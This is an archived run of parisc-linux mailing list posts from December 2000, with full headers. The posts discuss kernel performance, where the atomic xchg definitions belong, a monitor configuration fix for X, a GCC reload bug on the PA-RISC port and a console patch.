NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Fri Dec 29 23:09:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA06533
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Dec 2000 23:09:05 -0700
Original-Received: (qmail 13783 invoked by uid 15267); 30 Dec 2000 06:12:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13774 invoked from network); 30 Dec 2000 06:12:20 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 06:12:20 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 57FC090A; Fri, 29 Dec 2000 22:12:16 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA24743;
	Fri, 29 Dec 2000 22:13:37 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 27 Dec 2000 18:08:29 PST."
             <E14BL04-0002Zj-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9036


Alan,
Interesting comments. I had to think about them for a bit.

Alan Cox wrote:
> Specweb is basically a con. Its not a materially valuable benchmark.
> It benches how fast your irq handler path is, how fast your memory cache
> is, how good your DMA transfers are. It has almost nothing to do with how
> good a web server the box is.

At some level, all benchmarks are bogus. Bogomips encapsulates the issue.
Taking the benchmarks out of context is when the con game starts.
Isn't Specweb just one aspect of what makes a good webserver?
Others include cost, size, security, manageability, reliability, etc.
It just seems CPU/Memory/IO "bandwidth" and utilization (efficiency) are
valid things to measure. An outsiders perspective is Specweb attempts to
encapsulate those numbers with a representative workload.

Marketing drives most benchmarking I've been involved in.
And Marketing targets the more ignorant (but not too poor) customers. 
Smart (and rich) customers use specific benchmarks make a "short list"
and then measure *their* application performance.
HP has several "Capacity Planning Centers" just for those customers.

[ deleted comment about putting webserver in kernel ]

> So it comes down to - tuning the network card driver, tuning the IRQ path, 
> making sure the cache handling is optimal. The rest consists of loading the
> machine with 8Gbytes of RAM, using obscenely smart ethernet cards and having
> good memory bandwidth.
> 
> The 64bit pa-risc boxes have the hardware for it, in fact they have better 
> hardware for it than x86. All you have to do is write better tlb, irq and pci
> handling code than the HP/UX engineering team 8).

Given only a handful of people know the PARISC CPU/TLB as well as jsm,
and I (re)wrote the HPUX PCI code, I suggest long term performance
gains will be found in linux VM/PM (and other "architected" stuff like
atomic operations - which will always suck on parisc) and drivers.
(My definition of drivers includes networking stack and NIC device drivers).
Short term goal is to optimize existing parisc-specific code around
existing architecture.

[ /rant on ]
The HPUX engineering team is not lacking in talent - just opportunity to
make the zillions of small changes required to improve scalability and
reduce CPU utilization. Any single change resulting in less than 2%
performance improvement on something like SpecWeb is very hard to get
into HPUX kernel.
[ /rant off ]

grant


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg/cmpxchg defined in wrong place?
Date: Fri, 29 Dec 2000 22:41:41 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200012300641.WAA24786@milano.cup.hp.com>
References: <200012300512.VAA24694@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619479 9480 80.91.229.3 (22 Nov 2014 01:24:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Dec 29 23:37:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA07239
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Dec 2000 23:37:09 -0700
Original-Received: (qmail 30789 invoked by uid 15267); 30 Dec 2000 06:40:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30777 invoked from network); 30 Dec 2000 06:40:22 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 06:40:22 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 705EB6E4
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Dec 2000 22:40:21 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA24786
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Dec 2000 22:41:42 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 29 Dec 2000 21:12:19 PST."
             <200012300512.VAA24694@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9037

Grant Grundler wrote:
...
> Currently, parisc __xchg lives in arch/parisc/kernel/setup.c.

Sorry. I got this fact wrong: __xchg lives in arch/parisc/lib/bitops.c

__xchg_called_with_bad_pointer *is* defined in arch/parisc/kernel/setup.c.
My understanding is this fuction in fact should NOT be defined.
It's a tool to catch problems for architectures which can inline __xchg.

Neither item is material to my arguments for defining them in atomic.h.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OT: HP A4033A Monitor and X
Date: Sat, 30 Dec 2000 13:20:33 +0100 (CET)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0012301253270.5467-100000@noc.zabbadoz.net>
Reply-To: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619479 9483 80.91.229.3 (22 Nov 2014 01:24:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:39 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: bzeeb+hplinux@zabbadoz.net  Sat Dec 30 05:17:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA10866
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 05:17:38 -0700
Original-Received: (qmail 26296 invoked by uid 15267); 30 Dec 2000 12:20:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26286 invoked from network); 30 Dec 2000 12:20:36 -0000
Original-Received: from mail.zabbadoz.net (195.2.176.194)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 12:20:36 -0000
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id eBUCKYh93120
	for <parisc-linux@thepuffingroup.com>; Sat, 30 Dec 2000 13:20:34 +0100 (CET)
X-Sender: <bz@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:9038

Hi,

please directly reply to me and not to the list because this question
is OT. - thanx.

I got a second hand apollo and it's working quite fine (out of the
box) with parisc-0.5.iso (uptimes growing :-) but as long as there
is no support for monitor (most likely I will never need anyway)
I wanted to use the HP A4033A monitor I got with it with some
other PC rather than letting it get dusty in a corner.

The only thing I could find was
http://www.hp.com/workstations/support/documentation/technotes/linux/monitor.html
but I am totaly unable to get it working with X. When I power it on
just after about 5 secs it falls asleep into power safe mode. tried with 3-
and 5-BNC cables with and without syncongreen.

It was working quite fine with apollo and hpux and X but prefering
linux there are no hpux config files any more.

I am wondering if any of you might have a working XF86Config file for
me ? Already tried up to two days now and slowly getting ...

Thank you in advance for your help,
Bjoern


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: OT: HP A4033A Monitor and X [solved ?]
Date: Sat, 30 Dec 2000 17:35:11 +0100 (CET)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0012301722000.5467-100000@noc.zabbadoz.net>
References: <Pine.BSF.4.30.0012301253270.5467-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619479 9489 80.91.229.3 (22 Nov 2014 01:24:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:39 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
Original-X-From: bz@zabbadoz.net  Sat Dec 30 09:32:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA12981
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 09:32:08 -0700
Original-Received: (qmail 23449 invoked by uid 15267); 30 Dec 2000 16:35:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23394 invoked from network); 30 Dec 2000 16:35:14 -0000
Original-Received: from mail.zabbadoz.net (195.2.176.194)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 16:35:14 -0000
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id eBUGZCR00141
	for <parisc-linux@thepuffingroup.com>; Sat, 30 Dec 2000 17:35:12 +0100 (CET)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <Pine.BSF.4.30.0012301253270.5467-100000@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:9039

On Sat, 30 Dec 2000, Bjoern A. Zeeb wrote:

> I got a second hand apollo and it's working quite fine (out of the
> box) with parisc-0.5.iso (uptimes growing :-) but as long as there
> is no support for monitor (most likely I will never need anyway)
> I wanted to use the HP A4033A monitor I got with it with some
> other PC rather than letting it get dusty in a corner.

Hi,

many thanks to all people who answered and helped.

I am posting the answer because I got mails from people having the
same problem.

I finally managed to get it working :-))

setup:
PC
G400
5-BNC cable (rgb, hsync, vsync)
X 4.0.2

I do not know why but it started to work after I accidentally
(while trying a second cable) swapped hsync and vsync.
Had no chance to get it up with 3-bnc or SyncOnGreen stuff.
I do not know if it's a problem with my card, with the cables or with
the monitor; it's just working now.

If anybody needs a XF86Config file. I put mine on
http://www.zabbadoz.net/zabbadoz-network/z1/XF86Config
(starting a not yet working dual screen setup so do not get confused)

A happy and successful new year.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance
Date: Sat, 30 Dec 2000 16:50:18 +0000 (GMT)
Lines: 19
Approved: news@gmane.org
Message-ID: <E14CPD3-0006mh-00@the-village.bc.nu>
References: <200012300613.WAA24743@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619480 9491 80.91.229.3 (22 Nov 2014 01:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:40 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sat Dec 30 10:11:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13641
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 10:11:33 -0700
Original-Received: (qmail 19252 invoked by uid 15267); 30 Dec 2000 17:14:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19238 invoked from network); 30 Dec 2000 17:14:46 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 17:14:46 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14CPD3-0006mh-00; Sat, 30 Dec 2000 16:50:21 +0000
In-Reply-To: <200012300613.WAA24743@milano.cup.hp.com> from "Grant Grundler" at Dec 29, 2000 10:13:32 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:9040

> Given only a handful of people know the PARISC CPU/TLB as well as jsm,
> and I (re)wrote the HPUX PCI code, I suggest long term performance
> gains will be found in linux VM/PM (and other "architected" stuff like
> atomic operations - which will always suck on parisc) and drivers.
> (My definition of drivers includes networking stack and NIC device drivers).
> Short term goal is to optimize existing parisc-specific code around
> existing architecture.

Much of the work Ingo and others did concentrated on the eepro100 driver
internals down to removing every pci stall, doing irq affinity and doing small
optimisations on the networking stack.

So I'd say your suggestion matches what happened on x86 too. The atomic stuff
is trickier. Linux is designed to optimal on the common high performance 
hardware and right now the design therefore focuses on ia32 at the cost 
sometimes of other systems.

Alan


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg/cmpxchg defined in wrong place?
Date: Sat, 30 Dec 2000 16:46:57 +0000 (GMT)
Lines: 13
Approved: news@gmane.org
Message-ID: <E14CP9n-0006ma-00@the-village.bc.nu>
References: <200012300512.VAA24694@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619480 9495 80.91.229.3 (22 Nov 2014 01:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sat Dec 30 10:21:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13866
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 10:21:20 -0700
Original-Received: (qmail 25915 invoked by uid 15267); 30 Dec 2000 17:24:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25904 invoked from network); 30 Dec 2000 17:24:34 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 17:24:34 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14CP9n-0006ma-00; Sat, 30 Dec 2000 16:46:59 +0000
In-Reply-To: <200012300512.VAA24694@milano.cup.hp.com> from "Grant Grundler" at Dec 29, 2000 09:12:19 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:9041

> way to inline xchg or cmpxchg for parisc at the moment. And given the
> dependendencies between asm/system.h, asm/spinlock.h, and asm/atomic.h,
> I'm not trying to inline them. Perhaps when the definitions formally move
> to atomic.h (or other more appropriate place).
> 
> And to add insult to injury, drivers/char/drm/drmP.h (the only visible
> consumer of __HAVE_ARCH_CMPXCHG) doesn't even explicitly include
> asm/system.h!

Seems a reasonable thing to try and move to atomic.h yes

> 


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg/cmpxchg defined in wrong place?
Date: Sat, 30 Dec 2000 09:52:49 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <200012301752.JAA25055@milano.cup.hp.com>
References: <E14CP9n-0006ma-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619480 9502 80.91.229.3 (22 Nov 2014 01:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Sat Dec 30 10:48:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA14647
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 10:48:23 -0700
Original-Received: (qmail 13309 invoked by uid 15267); 30 Dec 2000 17:51:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13289 invoked from network); 30 Dec 2000 17:51:38 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 17:51:38 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 2FC2C506; Sat, 30 Dec 2000 09:51:37 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA25055;
	Sat, 30 Dec 2000 09:52:58 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 30 Dec 2000 16:46:57 GMT"
             <E14CP9n-0006ma-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9042

Alan Cox wrote:
> Seems a reasonable thing to try and move to atomic.h yes

ok. I'll take a whack at parisc arch and see what happens.
If it's easy, I'll try the i386 arch as well - mostly
to build more drivers as a sanity check.

thanks,
grant


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 30 Dec 2000 14:05:50 -0500 (EST)
Lines: 89
Approved: news@gmane.org
Message-ID: <200012301905.OAA19130@hiauly1.hia.nrc.ca>
References: <200012221721.MAA00889@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619481 9505 80.91.229.3 (22 Nov 2014 01:24:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:41 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, law@cygnus.com,
        rhirst@linuxcare.com, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Dec 30 12:02:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA15745
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 12:02:59 -0700
Original-Received: (qmail 2700 invoked by uid 15267); 30 Dec 2000 19:06:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2692 invoked from network); 30 Dec 2000 19:06:14 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 19:06:14 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA19130;
	Sat, 30 Dec 2000 14:05:50 -0500 (EST)
In-Reply-To: <200012221721.MAA00889@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 22, 2000 12:21:54 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9043

> > Your GO_IF_LEGITIMATE_ADDRESS will accept the UNSPEC?
> > The mind boggles.  Why, then, is this strange beast its own insn?
> 
> I have done some more testing.

As I do more work trying to build the pa port under hpux 10.20 with
`-fPIC -O3', I have begun to understand why this strange beast is its
own insn.  The machine definition which I am testing currently has
the UNSPEC integrated with other move_operands.  However, in doing this,
I have encountered another reload problem.

Here is the relevant rtl from the lreg pass:

;; Function init_all_optabs

...

(note 223 107 225 ("insn-opinit.c") 48 -1347440721)

(insn 225 223 1961 (set (reg/f:SI 611)
        (plus:SI (reg:SI 19 %r19)
            (high:SI (symbol_ref:SI ("target_flags"))))) 80 {*pa.md:2326} (nil)
    (nil))

...

(note 1063 1013 1067 ("insn-opinit.c") 130 -1347440721)

(insn 1067 1063 2002 (set (reg/f:SI 403)
        (mem/u:SI (lo_sum:SI (reg/f:SI 611)
                (unspec:SI[ 
                        (symbol_ref:SI ("target_flags"))
                    ]  0)) 0)) 69 {*pa.md:2099} (nil)
    (expr_list:REG_EQUIV (mem/u:SI (lo_sum:SI (reg/f:SI 611)
                (unspec:SI[ 
                        (symbol_ref:SI ("target_flags"))
                    ]  0)) 0)
        (expr_list:REG_DEAD (reg/f:SI 611)
            (nil))))

...

(note 2006 1059 1069 ("insn-opinit.c") 130 -1347440721)

(insn 1069 2006 2007 (set (reg:SI 404)
        (mem/f:SI (reg/f:SI 403) 4)) 69 {*pa.md:2099} (insn_list 1067 (nil))
    (expr_list:REG_EQUIV (mem/f:SI (reg/f:SI 403) 4)
        (nil)))

...

(note 1085 1926 1091 ("insn-opinit.c") 132 -1347440721)

(insn 1091 1085 1094 (set (reg:SI 411)
        (mem/f:SI (reg/f:SI 403) 4)) 69 {*pa.md:2099} (nil)
    (expr_list:REG_EQUIV (mem/f:SI (reg/f:SI 403) 4)
        (nil)))

...

(note 2168 1597 1607 ("insn-opinit.c") 194 -1347440721)

(insn 1607 2168 2169 (set (reg:SI 538)
        (mem/f:SI (reg/f:SI 403) 4)) 69 {*pa.md:2099} (insn_list:REG_DEP_ANTI 1497 (nil))
    (expr_list:REG_EQUIV (mem/f:SI (reg/f:SI 403) 4)
        (nil)))

...

(note 1621 1931 1627 ("insn-opinit.c") 196 -1347440721)

(insn 1627 1621 1630 (set (reg:SI 544)
        (mem/f:SI (reg/f:SI 403) 4)) 69 {*pa.md:2099} (nil)
    (expr_list:REG_DEAD (reg/f:SI 403)
        (nil)))

Note that register 611 is dead at insn 1067.  However, we still have REG_EQUIV
notes which implicitly use register 611 on insns 1091 and 1607 (not sure
why there isn't a note on 1627).  This leads to disaster at insn 1607
when the hard register assigned to 611 gets reused for other purposes
in the intervening code.

Is the REG_DEAD note for register 611 in the right place?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console
Date: Sun, 31 Dec 2000 00:07:28 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20001231000728.G21315@parcelfarce.linux.theplanet.co.uk>
References: <20001221211830.C21472@parcelfarce.linux.theplanet.co.uk> <20001221212855.E21472@parcelfarce.linux.theplanet.co.uk> <20001223133747.B13472@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619481 9509 80.91.229.3 (22 Nov 2014 01:24:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: willy@www.linux.org.uk  Sat Dec 30 17:04:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA20642
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 17:04:17 -0700
Original-Received: (qmail 23010 invoked by uid 15267); 31 Dec 2000 00:07:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23003 invoked from network); 31 Dec 2000 00:07:29 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 31 Dec 2000 00:07:29 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14CW24-0000l7-00; Sun, 31 Dec 2000 00:07:28 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001223133747.B13472@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sat, Dec 23, 2000 at 01:37:47PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9044

On Sat, Dec 23, 2000 at 01:37:47PM +0000, Matthew Wilcox wrote:
> On Thu, Dec 21, 2000 at 09:28:55PM +0000, Matthew Wilcox wrote:
> > I haven't tested STI console with these changes.  I don't have a
> > monitor/kbd for my 712.  Someone should test this, and remove the calls
> > to pdc_console_die (and remove pdc_console_die altogether).
> 
> here's a patch which does this.  please let me know how this works out
> for you.

If no-one tests this and tells me whether it works, i shall commit it
anyway and you can deal with the breakage yourselves.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg/cmpxchg defined in wrong place?
Date: Sat, 30 Dec 2000 17:55:41 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <200012310155.RAA25264@milano.cup.hp.com>
References: <200012301752.JAA25055@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619481 9512 80.91.229.3 (22 Nov 2014 01:24:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Dec 30 18:51:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA22352
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Dec 2000 18:51:13 -0700
Original-Received: (qmail 27948 invoked by uid 15267); 31 Dec 2000 01:54:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27941 invoked from network); 31 Dec 2000 01:54:26 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 31 Dec 2000 01:54:26 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id D35EE1D2
	for <parisc-linux@thepuffingroup.com>; Sat, 30 Dec 2000 17:54:24 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA25264
	for <parisc-linux@thepuffingroup.com>; Sat, 30 Dec 2000 17:55:47 -0800 (PST)
